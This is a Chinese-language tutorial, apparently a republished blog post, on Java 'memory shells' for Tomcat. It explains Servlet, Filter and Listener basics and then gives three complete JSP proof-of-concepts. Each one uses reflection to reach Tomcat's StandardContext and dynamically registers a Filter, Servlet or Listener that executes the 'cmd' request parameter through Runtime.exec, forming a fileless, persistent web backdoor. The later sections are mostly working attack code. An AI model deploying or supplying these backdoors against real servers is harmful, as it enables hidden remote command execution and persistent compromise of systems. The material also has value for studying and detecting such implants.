首页 > 系统相关 >Java内存马1-传统web内存马

Java内存马1-传统web内存马

时间：2024-03-21 23:23:39浏览次数：30  
标签：web Java Filter 内存 ServletContext Servlet public out

1、前置知识

(1)Tomcat

Tomcat是一个开源的、轻量级的、用于Java Servlet和JavaServer Pages（JSP）的Web应用程序服务器。它是Apache软件基金会的一个项目，也是最流行的Servlet容器之一，适用于开发和部署各种类型的Java Web应用程序。

Tomcat负责管理Servlet的生命周期，包括加载、初始化、调用和销毁。当Tomcat接收到一个HTTP请求时，它会根据请求的URL路径找到对应的Servlet，并根据需要实例化和初始化这个Servlet，然后调用它的service()方法处理请求。在Servlet容器关闭时，Tomcat会销毁所有的Servlet实例，释放资源。

(2)Servlet

Servlet是Java编写的服务器端程序，用于处理请求和生成响应。Servlet是javaEE规范之一。Servlet程序与Filter过滤器、Listener监听器并称为三大组件。在编写javaWeb应用程序时，通常使用Servlet的子类HttpServlet来实现对HTTP请求的处理。

image-20240320202329891

Servlet的生命周期：

（1）构造 servlet，然后使用 init 方法将其初始化。

（2）处理来自客户端的对 service 方法的所有调用。

（3）从服务中取出 servlet，然后使用 destroy 方法销毁它，最后进行垃圾回收并终止它。

//实现Servlet接口的类

@WebServlet(name = "MyServlet", value = "/My-servlet")
public class HelloServlet implements Servlet {
    /**
     * @param servletConfig
     * @throws ServletException
     */
    @Override
    public void init(ServletConfig servletConfig) throws ServletException {   
    }
    @Override
    public ServletConfig getServletConfig() {
        return null;
    }
    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        System.out.printf("hello! Srevlet被访问了");
    }
    @Override
    public String getServletInfo() {
        return null;
    }
    @Override
    public void destroy() {
    }
}


package com.example.mshell;

//给servlet程序配置访问地址
@WebServlet(name = "helloServlet", value = "/hello-servlet")
public class HelloServlet extends HttpServlet {
    private String message;

    public void init() {
        message = "Hello World!";
    }

    public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.println("<html><body>");
        out.println("<h1>" + message + "</h1>");
        out.println("</body></html>");
    }

    public void destroy() {
    }
}

ServletContext是一个接口，表示Servlet上下文对象，其实现类为ApplicationContextFacade和ApplicationContext；一个web工程只有一个ServletContext对象实例；ServletContext是一个域对象；

ServletContext的声明周期与web工程一致，随着web工程的创建而创建，停止而消失；

域对象是可以向Map一样存取数据的对象，这里的域指定是存取对象的操作范围；

存数据方法 取数据方法 删除数据方法
Map put() get() remove()
域对象 setAttribute() getAttribute() removeAttribute()

ServletContext接口的四个常见作用：

（1）像Map一样存取数据(Sting-object)

（2）获取web.xml中配置的上下文参数context-param

（3）获取工程部署后服务器上web工程的绝对路径（常用于获取工程内资源的绝对路径）

（4）获取当前工程路径

public class ServletCt extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//        super.doGet(req, resp);
        ServletContext st = this.getServletContext();
        System.out.println("context-param-user：" + st.getInitParameter("user"));
        System.out.println("工程路径：" + st.getContextPath());
        System.out.println("工程部署路径：" + st.getRealPath("/"));
        System.out.println("资源1.png的绝对路径" + st.getRealPath("/images/1.png"));

        st.setAttribute("key", "value");
        st.setAttribute("?", "?");
        st.removeAttribute("?");
        System.out.println(st.getAttribute("key"));
        System.out.println(st.getAttribute("?"));
        
    }
}

(3)JSP

JSP（JavaServer Pages）是一种用于开发动态Web内容的Java技术。与Servlet相比，JSP更注重于将Java代码嵌入到HTML页面中，以便更轻松地生成动态内容。JSP页面通常包含HTML标记和嵌入的Java代码片段，这些代码片段会在服务器端执行，生成最终的HTML内容，然后将其发送给客户端浏览器。

当我们第一次访问一个jsp页面的时候，Tomcat服务器会根据jsp文件生成一个Servlet程序的源文件并且编译成.class字节码程序。观察源码可以发现其底层回传数据的逻辑还是通过HttpServletResponse(用于返回响应的类，通常与HttpServletRequest一起使用)下writer对象的的write方法将数据返回给客户端；

JSP页面中的HTML部分会被转换成Java代码中的字符串常量，而Java代码部分则直接保留。我们可以在CATALINA_BASE/work/Catalina 目录直接找到该文件；

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<!DOCTYPE html>
<html>
<head>
    <title>JSP - Hello World</title>
</head>
<body>
<h1><%= "Hello World!" %>
</h1>
<br/>
<a href="hello-servlet">Hello Servlet</a><br/><br/>
<%
    out.print("这是一段java代码");
%>
</body>
</html>

image-20240320204623422

image-20240320204726686

(4)Filter

Filter是Java Servlet规范中的一种组件，用于在Servlet容器中对HTTP请求进行预处理和后处理。Filter可以在Servlet处理请求之前、响应生成之后，对请求进行拦截、修改和增强。Filter通常用于实现诸如日志记录、字符编码转换、权限控制、数据压缩等功能，对于Web应用程序的开发和管理具有重要意义。与Servlet类似，Filter也可以通过在web.xml文件中进行配置，或者使用Servlet 3.0中的注解方式来声明和配置。Filter是Java Web开发中非常重要的一个组件，能够提高Web应用程序的灵活性、可维护性和安全性。

package com.example.mshell;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter(urlPatterns = "/admin/*")
public class HelloFilter implements Filter {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        Filter.super.init(filterConfig);
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        System.out.println("拦截到了/admin/下的一次请求");
        //放行请求
        chain.doFilter(request,response);
    }

    @Override
    public void destroy() {
        Filter.super.destroy();
    }
}

(5)Listener

Listener是Java Servlet规范中的一种组件，用于监听Web应用程序中的事件，如ServletContext的创建和销毁、HttpSession的创建和销毁、ServletRequest的创建和销毁等。Listener可以在特定事件发生时执行相应的逻辑，用于监听和响应Web应用程序的生命周期和状态变化。当对应的事件发生时，容器会调用Listener中的相应方法，执行监听逻辑。

package com.example.mshell;
@WebListener
public class HelloListener implements ServletContextListener {
    @Override
    public void contextInitialized(ServletContextEvent sce) {
        // 当ServletContext被初始化时调用该方法
        System.out.println("ServletContext Initialized");
    }

    @Override
    public void contextDestroyed(ServletContextEvent sce) {
        // 当ServletContext被销毁时调用该方法
        System.out.println("ServletContext Destroyed");
    }
}

(6)内存马

内存马宏观意义上是在内存中被植入的恶意代码，“无文件落地”特性是内存马的一个重要特点，指的是恶意代码不需要写入到被感染系统的磁盘上，而是直接加载到系统的内存中并在其中运行。这种特性使得内存马更难以被传统的安全防护措施检测和清除，因为它们不留下明显的痕迹。

但是内存马在实际攻防中远不止于此，可以使用内存马解决很多棘手的问题，例如webshell文件落地被杀，不能反弹shell、禁止文件写入等等情况，这篇文章中所有的内存马分析都是针对传统Java web型应用，Servlet内存马、Listener内存马、Filter内存马。当然，内存马的类型远不止于此，还有针对各种框架、中间件，亦或是配合反序列化漏洞的内存马。但因为篇幅原因后续再记录。

文章中的项目框架为javaWeb-Maven-Tomcat9.0.80;在Tomcat不同版本中实现代码略有不同，但是基本的思路是一样的；

本文对Tomcat源码部分不做重点分析，重在了解动态创建三大组件的过程。

2、Filter内存马

在Servlet3.0后，本身就提供了动态注册组件的API接口定义，不过有一些限制，本文的所有内存马也是全部利用Servlet API入手进行内存马的编写；

在ServletContext接口中定义了方法addFilter，就是用来动态的添加一个Filter组件；

但是请注意这里的注释：

异常情况处理：

  • 如果ServletContext已经被初始化，则抛出IllegalStateException。
  • 如果filterName为null或者空字符串，则抛出IllegalArgumentException。
  • 如果ServletContext被传递给了一个不在web.xml或者web-fragment.xml中声明，也没有使用@WebListener注解声明的ServletContextListener的contextInitialized方法，则抛出UnsupportedOperationException。

处理这些异常情况是一项重要的任务；

具体的实现在ApplicationContext中体现：

private FilterRegistration.Dynamic addFilter(String filterName, String filterClass, Filter filter)
        throws IllegalStateException {
	
    //filterName不能为空
    if (filterName == null || filterName.equals("")) {
        throw new IllegalArgumentException(sm.getString("applicationContext.invalidFilterName", filterName));
    }
	//检查applicathion处于何种状态
    // TODO Spec breaking enhancement to ignore this restriction
    checkState("applicationContext.addFilter.ise");
	
    //依据filterName查找是否有其对应的findFilterDef
    FilterDef filterDef = context.findFilterDef(filterName);

    // Assume a 'complete' FilterRegistration is one that has a class and
    // a name
    //下面是一系列检查和初始化工作 不是很重要
    if (filterDef == null) {
        filterDef = new FilterDef();
        filterDef.setFilterName(filterName);
        context.addFilterDef(filterDef);
    } else {
        if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null) {
            return null;
        }
    }

    if (filter == null) {
        filterDef.setFilterClass(filterClass);
    } else {
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilter(filter);
    }
	//创建一个ApplicationFilterRegistration
    return new ApplicationFilterRegistration(filterDef, context);
}

这里首先就需要通过checkState函数，它用来检查当前context的状态是否为STARTING_PREP，“STARTING_PREP”代表还未被初始化；其中调用了来自LifecycleBase的getState函数；

而这个state的状态是由Tomcat控制的，当看到web页面的时候就已经经过初始化了，需要反射修改这个值；

可以发现它是一个对象，来自枚举类LifecycleState;image-20240321205142228

image-20240321205447062
image-20240321205623470

第一反应就是通过反射调用setState()方法，来绕过这个限制，发现在StandardContext类中并没有直接的方法声明，而是来到了LifecycleBase的setState方法，随机发现继承关系如下：

image-20240321220915685

此外，还发现该方法中调用了setStateInternal方法，最终确定state的值由LifecycleBase中的属性值确定。

image-20240321221053548

还有其他的绕过方法例如自行创建FilterDef和FilterConfig, 此处直接通过反射修改这个值；

假设现在通过了这个函数的检查，继续往下分析；

addFilter函数最终会返回一个ApplicationFilterRegistration，跟进这个类中看一眼；

这里有一个addMappingForUrlPatterns，给Filter添加拦截路径；

image-20240321210201425

最后来到StandardContext，这里有个方法filterStart()用于配置和初始化Filter:

image-20240321210457009

其实到这里思路就大致清晰了，只是有一些边边角角的地方跟一下代码逻辑就好，这里就不再说了，基本流程：

image-20240321222805932

demo如下：

<%@ page import="java.io.IOException" %>
<%@ page import="com.example.mshell.HelloFilter" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.EnumSet" %>
<%@ page import="org.apache.catalina.LifecycleState" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.util.LifecycleBase" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
<%!
    public class HackFilter implements Filter {

        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
        }

        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
            try {
                String cmd = (String)request.getParameter("cmd");
                if (cmd!=null){
                Runtime.getRuntime().exec(cmd);
                }
            } catch (IOException e) {
                throw new RuntimeException(e);
            }
            chain.doFilter(request,response);
        }

        @Override
        public void destroy() {
        }
    }
%>
<%

    HackFilter hackFilter = new HackFilter();
    ServletContext servletContext = request.getServletContext();
    StandardContext standardContext= null;
    try {
        //获取StandardContext对象
        Field context = servletContext.getClass().getDeclaredField("context");
        context.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) context.get(application);

        Field context1 = applicationContext.getClass().getDeclaredField("context");
        context1.setAccessible(true);
        standardContext= (StandardContext) context1.get(applicationContext);

	  //修改state
        Class<?> lifecycleStateClass= standardContext.getClass().getSuperclass().getSuperclass().getSuperclass();

        Field state = lifecycleStateClass.getDeclaredField("state");
        state.setAccessible(true);
        state.set(standardContext,LifecycleState.STARTING_PREP);
	  //添加Filter
        FilterRegistration.Dynamic applicationFilterRegistration = applicationContext.addFilter("HackFilter", hackFilter);
	  //恢复容器状态
        state.set(standardContext,LifecycleState.STARTED);
	  
        //初始化filter
        standardContext.filterStart();
        
        //设置拦截路径
        EnumSet<DispatcherType> dispatcherTypes = EnumSet.of(DispatcherType.REQUEST);
        applicationFilterRegistration.addMappingForUrlPatterns(dispatcherTypes,true,"/hack/*");
    } catch (Exception e) {
        throw new RuntimeException(e);
    }


%>
</html>

访问cmd.jsp后访问路径/hack/?cmd=calc;成功弹出计算器；

image-20240321223843307

3、Servlet内存马

基本思路一样，都是从addXXX入手，直接给出POC；

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="javax.servlet.annotation.WebServlet" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.LifecycleState" %><%--
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>

</body>
<%
    try {
        ServletContext servletContext = request.getServletContext();
        Field context = servletContext.getClass().getDeclaredField("context");
        context.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
        Field context1 = applicationContext.getClass().getDeclaredField("context");
        context1.setAccessible(true);
        StandardContext standardContext = (StandardContext) context1.get(applicationContext);

        HackServlet hackServlet = new HackServlet();
        Class<?> superclass = standardContext.getClass().getSuperclass().getSuperclass().getSuperclass();
        Field state = superclass.getDeclaredField("state");
        state.setAccessible(true);
        state.set(standardContext, LifecycleState.STARTING_PREP);
        ServletRegistration.Dynamic servletRegistration = applicationContext.addServlet("HackServlet", hackServlet);
        state.set(standardContext,LifecycleState.STARTED);

//        loadOnStartup为0或者大于0时，表示容器在应用启动时就加载并初始化这个servlet；
        servletRegistration.setLoadOnStartup(1);
        servletRegistration.addMapping("/hackServlet");
    } catch (NoSuchFieldException e) {
        throw new RuntimeException(e);
    } catch (IllegalAccessException e) {
        throw new RuntimeException(e);
    }
%>
<%!
    public class HackServlet extends HttpServlet {
        public void init() {
        }

        public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
            response.setHeader("content-type", "text/html;charset=UTF-8");
            response.setCharacterEncoding("UTF-8");
            response.getWriter().println("成功创建HackServlet");
            String cmd = request.getParameter("cmd");
            if (cmd!=null){
                Runtime.getRuntime().exec(cmd);
            }
        }

        public void destroy() {
        }
    }
%>
</html>

image-20240321224812217

4、Listener内存马

Listener可以不用设置state的值，依据ServletRequestEvent对象还可以有很多操作；这里贴上最简单的POC；

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
</body>
<%
    try {
        ServletContext servletContext = request.getServletContext();
        Field context = servletContext.getClass().getDeclaredField("context");
        context.setAccessible(true);
        ApplicationContext o = (ApplicationContext) context.get(servletContext);
        Field context1 = o.getClass().getDeclaredField("context");
        context1.setAccessible(true);
        StandardContext standardContext = (StandardContext) context1.get(o);
        standardContext.addApplicationEventListener(new HackListener());
    } catch (NoSuchFieldException e) {
        throw new RuntimeException(e);
    } catch (IllegalAccessException e) {
        throw new RuntimeException(e);
    }

%>
<%!
    public class HackListener implements ServletRequestListener {
        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
            System.out.println("监听到请求");
            String cmd = sre.getServletRequest().getParameter("cmd3");
            if (cmd!=null){
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    throw new RuntimeException(e);
                }
            }
        }

        @Override
        public void requestInitialized(ServletRequestEvent sre) {

        }
    }

%>

</html>

image-20240321225155118

标签：web,Java,Filter,内存,ServletContext,Servlet,public,out
From： https://www.cnblogs.com/K1na-blog/p/18088448

相关文章

  • 【ai技术】（3）：树莓派4，成功安装ollama软件，内存4G，推荐使用命令行界面安装，使用raspi-config
    1，关于raspberrypi4项目https://www.bilibili.com/video/BV1K2421P71h/【ai技术】（3）：树莓派4，成功安装ollama软件，内存4G，安装命令行版本，使用raspi-config配置wifi，速度9t/s2，下载raspberrypi镜像项目地址：https://www.raspberrypi.com/software/operating-systems/#r......
  • 前端基础之JavaScriptDOM和BOM
    一、JavaScript的组成JavaScript的实现包括以下3个部分：ECMAScript(核心)描述了JS的语法和基本对象文档对象模型（DOM）处理网页内容的方法和接口浏览器对象模型（BOM）与浏览器交互的方法和接口核心（Core）：核心部分包括语言的基本语法、数据类型、控制结构等。这些......
  • 基于javaswing的学生信息管理系统
    （解析+源码）基于JAVASwing+MySQL实现学生信息管理系统（增、删、改、查）数据库/文件存储_学生信息管理系统实现增删改查-CSDN博客 Nosuitabledriverfoundforjdbc:mysql:建表之后登录报错 原因是没有mysql的jar包 在项目右键buildpath 选择configureBulidpath ......
  • JSP语法 《Java Web开发从入门到实战》第三章节
    目录一、JSP页面的基本构成1、普通的HTML标记2、JSP注释（增强JSP文件的可读性，便于Web项目的更新和维护）3、Java脚本元素：声明、Java程序片、Java表达式4、JSP标记：指令标记、动作标记、自定义标记等二、<%%>和<%!%>的不同之处1、翻译不同2、定义不同3、声明不同......
  • 图论06-飞地的数量(Java)
    6.飞地的数量题目描述给你一个大小为mxn的二进制矩阵grid，其中0表示一个海洋单元格、1表示一个陆地单元格。一次移动是指从一个陆地单元格走到另一个相邻（上、下、左、右）的陆地单元格或跨过grid的边界。返回网格中无法在任意次数的移动中离开网格边界的陆......
  • java流程控制语句
    今天是复习学习第四天如果有和我一样复习Java基础或者准备学习Java的可以看看我的这些学习内容也欢迎大佬观看我的文章做出指导对我代码或者觉得我哪里理解不到位希望能给我指导指导非常感谢大家祝大家在计算机行业越来越好!!!下面是我今天复习的内容Java流程控制语句分......
  • 《Java核心技术·卷 II（原书第11版）》PDF
    本书针对Java11进行了修订，涵盖了完整的对高级UI特性、企业编程、网络、安全和Java强大的模块系统等内容的讨论。书中对Java复杂的新特性进行了深入而全面的研究，展示了如何使用它们来构建具有专业品质的应用程序，作者所设计的经过全面完整测试的示例反映了当今的Java风格和*佳实践......
  • cuda 内存模型
    cuda内存模型其实概括来说就是下面两张图双箭头代表可读可写，单箭头代表只读1.localmemory#include<iostream>#include"cuda_runtime.h"#include"device_launch_parameters.h"#defineBLOCK_SIZE256__global__voidtest_kernal(){ intarray[3]; floatvalu......
  • 29-2 webshell 管理下
    一、常见的webshell管理工具1）蚁剑(AntSword)它是一款开源的跨平台webShell管理工具，主要面向合法授权的渗透测试安全人员和网站管理员进行常规操作。其核心功能包括Shell代理功能、Shell管理、文件管理、虚拟终端、数据库管理、插件市场和插件开发。下载安装教程：中国蚁剑下......
  • 23种设计模式核心思想及代码实现（Java C++）
    目录代码OOP七大原则策略模式单例模式观察者模式装饰模式抽象工厂模式工厂模式简单工厂模式工厂模式抽象工厂模式三种工厂模式的区别简单工厂模式和策略模式的不同pipeline模式职责链模式代理模式静态代理动态代理......

赞助商

阅读排行

网站主页关于我们联系我们网站地图

本网站内容转载自其他媒体，侵权联系[admin##ips99.com]。

Copyright © 2020-2023 IPS99 版权所有 IPS99